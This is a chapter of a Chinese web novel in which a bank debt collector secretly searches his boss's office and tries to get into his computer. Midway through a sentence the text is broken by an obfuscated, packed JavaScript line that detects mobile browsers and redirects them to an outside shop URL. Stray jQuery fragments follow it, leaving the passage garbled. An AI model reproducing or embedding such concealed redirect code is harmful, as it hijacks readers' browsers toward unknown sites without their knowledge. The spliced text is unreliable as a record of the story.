八楼平台的日光灯惨白地照着,空气中弥漫着一种虚伪的忙碌。

    王仰春半瘫在办公椅上,椅子随着他的动作懒洋洋地打着转。

    “陆平?南海银行风险部!律师函都收几封了?还不还钱?甭跟我谈困难!困难是借钱的借口吗?麻溜儿还!”

    电话挂断,王仰春嘴角咧开一丝快意的弧度,椅子又转了个圈,下一个倒霉蛋的号码已经拨了出去。

    “喂!葛大强?南海银行!催债的!……没钱?……没钱你当初……哼哼,你自己掂量掂量后果……”

    几天前,当王仰春得知自己要干这催收的活计时,只觉得一股屈辱感直冲天灵盖。

    降维打击都不足以形容这份憋屈!

    然而,当第一个电话接通,听着话筒那头传来的或低声下气的哀求、或闪烁其词的狡辩、或外强中干的虚张声势时,一种奇异的快感窜遍他的四肢百骸。

    这玩意儿……真他妈解压啊!

    在这里,他不需要权衡利弊,不需要预判市场风向。

    他就是催收的“王”!!!

    语言是武器,恐惧是战利品,每一次通话都是一次纯粹而粗暴的宣泄。

    一种掌控他人困境、无需负责的扭曲快意,让他几乎上瘾。

    然而,正沉浸在“催收王”的乐趣中,准备拨通下一个号码时,王仰春的耳边忽然识别到一声极轻的关门声。

    王仰春抬头,发现蒋永昼正背着那个万年不变的黑色双肩包,将门锁旋上。

    “喂,您好,请问是毛丽娜女士吗?我这边是南海银行,您名下的贷款逾期九十三天,律师函已寄出三封……”

    看着蒋永昼目不斜视地穿过办公区,走向走廊尽头的电梯间,王仰春利落地挂断了电话,脸上那层职业化的面具瞬间消失。

    三分钟,同事贾欣啪地合上粉饼盒,拎起挎包翩然而去。

    五分钟,老庞仰头喝尽最后一口浓茶,满足地咂咂嘴,也溜了。

    十分钟后,偌大的风险部,只剩下王仰春一个人,以及头顶日光灯管发出的微弱电流声。

    又等了几分钟,确定再无动静,王仰春深吸一口气。

    他起身,走向窗边那盆枝叶繁茂的绿萝。

    叶片深处,藏着那份他觊觎已久的钥匙——蒋永昼办公室的备用钥匙。

    指尖触碰到冰凉的金属时,胸腔里那颗心脏不争气地擂动了一下。

    “咔嚓!”一声震耳欲聋的门锁弹开声。

    王仰春心头一紧,下意识地左右张望,确认无人,闪身挤了进去,迅速将门带上。

    站在蒋永昼的办公室里,他强压下那点不合时宜的悸动,目光锐利地扫视四周。

    办公桌、文件柜、双人沙发、茶几……

    没有照片,没有摆件,连桌上的水杯都是银行统一配发的白瓷杯,杯身印着南海银行的logo。

    这哪里像一个年轻人的办公室?

    王仰春走向那个秩序井然的办公桌,电脑屏幕漆黑一片,键盘和鼠标的摆放角度精准得仿佛用卡尺丈量过。

    桌上唯一打破这种几何美学的,是一份《冠城农场实地调查报告》和一个亮着红色低电量指示灯的GoPro摄像机。

    他随手翻开报告,鲜红的笔迹像一道伤口——“存栏量75头”被粗暴地圈出,旁边是力透纸背的批注:“实际清点6头,差异69头”。

    这正是前两天他和蒋永昼深入那个农场数牛的结果。

    再往后翻,最后一页贴着一个标签:“郭行长办公室对话……GoPro存储卡A-07,云端备份完成,本地双保存。”

    心头一动,王仰春拿起了那台GoPro,按下了播放键。

    机器里,传出蒋永昼的声音,“郭行长,基于实地调查获取的确凿证据,该农户续贷申请存在严重欺诈嫌疑,我坚持不同意续贷。但如果您基于其他考虑,决定以职位权限强制要求我签字放行,我可以签字。”

    冰冷的停顿。

    “但是,请您对着镜头,明确下达此项指示。我需要全程录音录像留痕,以备后续可能的审计或……追责。”

    屏幕上,画面虽然非常小,但王仰春能够清晰地捕捉到的郭行长那张瞬间变得异常扭曲、混杂着震惊、愤怒和难以置信的脸。

    随后镜头猛地一晃,彻底陷入黑暗。

    “卧槽!”一声不受控制地低呼从王仰春喉咙里挤出。

    心跳莫名加速!

    这不是单纯的敬佩,是敢向恶势力说不的崇高景仰!

    敢跟行长硬刚?!还要求录像追责?!

    这蒋永昼,真他妈吾辈楷模!

    强行压下心头的惊涛骇浪,王仰春放下了GoPro。

    现在不是感慨的时候,还是正事要紧!

    他晃动鼠标,漆黑的屏幕亮起,跳出一个密码输入框。

    王仰春盯着那方空白,一股挫败感瞬间涌了上来。

    草率了!真他妈草率了!

    连蒋永昼的生日都不知道,怎么就闯进来了,还妄想破解他的电脑密码?

    太不入流了,王仰春懊恼不已。

    烦躁地抓了抓头发,王仰春掏出手机,拨通了蒋永臻的电话。

    当电话那头的蒋永臻得知王仰春不仅真混进了南海银行,还成了蒋永昼的手下时,声音直接劈了叉:“王仰春!!!你是不是疯了?!!”

    王仰春早有预料地把手机拿远了几寸,语气坦然得近乎无耻,“疯什么?不是你告诉我,南海银行是雍德市“城市发展基金”托管行,只有南海银行风险部有权调阅《雍德市基建风险评估报告》吗?”

    “我他妈那是劝退你!让你知难而退!谁让你他妈知难而进了?!”蒋永臻咆哮道。

    “行了,我的目的很单纯,就是想看看选哪块地皮。”

    蒋永臻那边停顿了片刻,“你丫就是个疯子!!!被抓了千万别找我!!!我不认识你!!!”

    “放心,真到那天。”王仰春嘴角勾起一丝坏笑,“我肯定第一个找你。”

    “真他妈是艺高人胆大啊……”蒋永臻用一种近乎呻吟的语气喃喃道。

    “别感慨了,找你是问正事。”王仰春顿了顿,“诶,你弟生日多少?或者他电脑开机密码,你知道不?”

    电话那头沉默了。

    几秒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625271|206245||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后,一声更加凄厉的尖叫炸响,“你要干什么?!你给我离他电脑远点!!远点!!!听到没有!!!”

    “又怎么了?!你现在怎么一惊一乍的?”王仰春属实有点不耐烦。

    “那小子……大学时候干过黑客!天知道他电脑里装了什么东西!说不定你一碰,警报就直通他手机了!!!”

    “卧槽!这么变态!”

    啪!电话被蒋永臻挂断了。

    “靠……”又一股挫败感爬上脊背。

    黑客?

    卧底对上反入侵专家?

    这他妈还玩个啥?!

    这开局也太不顺利了!

    退而求其次,先看看纸质材料吧。

    王仰春转身走到墙边的巨大文件柜前,金属柜门发出轻微的摩擦声,被他一把拉开。

    《地方债务风险评估》、《政府平台融资项目清单》、《2025年度信贷风险汇总》……

    王仰春的目光在密密麻麻的蓝色文件夹脊背上飞速扫掠,就在他全神贯注的时候——

    “铃——铃——铃——!!!”

    尖锐刺耳的手机铃声,毫无征兆地在办公桌上炸响!

    蒋永昼的名字出现在手机屏幕上。

    王仰春感觉,整个世界都被抽了真空,冷汗眨眼间就浸透了他的衬衫。

    每一个地方都可能隐藏着一只冰冷的电子眼,正将他的所作所为,实时传输给电话那头的恐怖黑客。

    王仰春扫视着天花板的每一个角落、文件柜的每一条缝隙、办公桌下每一个死角……

    铃声还在疯狂地响着,一声比一声急促,一声比一声尖锐。

    手机屏幕上“蒋永昼”三个大字,灼烧着他的视网膜。

    接?还是不接?

    不接?这就是此地无银三百两!

    接?立刻就要直面那个敢跟行长硬刚的人!

    刺耳的铃声如同催命符,声声紧逼,撕扯着王仰春的理智。

    几乎在铃声彻底断掉的最后一秒,一种更强大的东西,压倒了一切恐惧!

    不能露怯!

    至少,现在不能!

    王仰春狠狠吸了一口气,努力回忆扮演“催收王”时的状态,在指腹滑过接听键的瞬间,强行挤出一个略带被打扰的不耐烦声调:

    “喂,蒋主任?”

    话一出口,王仰春发现,自己的声音竟比想象中的还要稳。

    “王仰春。”电话那头传来嘈杂的背景音,隐约有模糊的人声和隐约的机器鸣响。

    蒋永昼的声音怎么回事?

    干涩,窘迫,甚至有点……软?

    “嗯。”王仰春的心还悬在嗓子眼,谨慎地应了一声。

    “你……现在……有没有时间?”

    王仰春的目光飞快地扫过身后敞开的文件柜门,扫过桌上电脑屏幕仍在闪烁的密码框,最后定格在那台记录着行长扭曲表情的GoPro上。

    “有啊,蒋主任,怎么了?”

    电话那头又是一阵沉默。

    最后,蒋永昼用一种气音开口:“你能不能……去我办公室取点东西,然后再……来趟……警局?”